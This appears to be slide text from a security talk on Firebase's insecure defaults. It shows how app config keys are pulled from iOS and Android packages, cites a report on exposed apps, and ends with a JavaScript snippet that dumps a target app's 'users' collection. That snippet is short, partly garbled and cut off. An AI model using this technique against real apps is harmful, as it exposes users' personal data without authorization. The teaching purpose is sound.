Firebase: Insecure by Default

An Applied Cyber presentation by Aditya Saligrama

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Firebase's (lack of) default security

- Client directly requests from database rather than going through a server
 - This means clients generally have the same API keys.
- How to access Firebase database? Need a few details:
 - API key: assigned by Firebase on project creation
 - Project ID
 - Storage Bucket
 - Messaging Sender ID
 - App ID: used by Firebase to ensure only the correct app accesses the database

How to get at these?



- On iOS: jailbreak gets you access to the iPhone filesystem, including app files; Firebase keys are in GoogleService-Info.plist
- On Android: can download the APK straight to a computer and unzip; Firebase keys are in AndroidManifest.xml

```
» plistutil -i GoogleService-Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>API KEY</key>
        <string>AIz
                                                        </string>
        <key>BUNDLE ID</key>
                                      </string>
        <string>com.
        <key>CLIENT_ID</key>
        <string>5071
                            -k7c
                                                               .apps.googleusercontent.com</string>
        <key>DATABASE_URL</key>
        <string>https://
                                         .firebaseio.com</string>
        <key>GCM_SENDER_ID</key>
        <string>5071
                            </string>
        <key>GOOGLE_APP_ID</key>
        <string>1:507
                                                           </string>
                              :ios:46
        <key>IS ADS ENABLED</key>
        <false/>
        <key>IS ANALYTICS ENABLED</key>
        <false/>
        <key>IS APPINVITE ENABLED</key>
        <true/>
        <key>IS_GCM_ENABLED</key>
        <true />
        <key>IS_SIGNIN_ENABLED</key>
        <true/>
        <key>PLIST_VERSION</key>
        <string>1</string>
        <key>PROJECT_ID</key>
        <string>
                                 </string>
        <key>REVERSED CLIENT ID</key>
                                                         -k7
                                                                                          </string>
        <string>com.googleusercontent.apps.50
        <key>STORAGE BUCKET</key>
        <string>
                                 .appspot.com</string>
</dict>
</plist>
```

Report: Estimated 24,000 Android apps expose user data through Firebase blunders

Common misconfigurations on Google Firebase databases allow unauthorized parties to easily find and access users' personal data in thousands of apps.



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Comparitech is appealing to all app developers who use Firebase to check their configuration urgently.











WHAT'S IN THIS ARTICLE?

What data is exposed?

Most exposed databases gave attackers write access

Google scrubs exposed databases from search

```
import { initializeApp } from 'firebase/app';
import { getFirestore, collection, getDocs, where, doc, getDoc, updateDoc } from 'firebase/firestore/lite';
import { getAuth, signInWithEmailLink, signInWithCustomToken, signInWithCredential, createUserWithEmailAndPassword, deleteUser } from "firebase/auth";
import { readFileSync } from "fs";
const firebaseConfig = {
    apiKey:
    storageBucket:
    messagingSenderId:
    appId:
const app = initializeApp(firebaseConfig);
const db = getFirestore(app);
const auth = getAuth();
getDocs(collection(db, "users")).then(x \Rightarrow {
    x.forEach((doc) \rightarrow {}
        console.log(JSON.stringify(doc.data()));
```

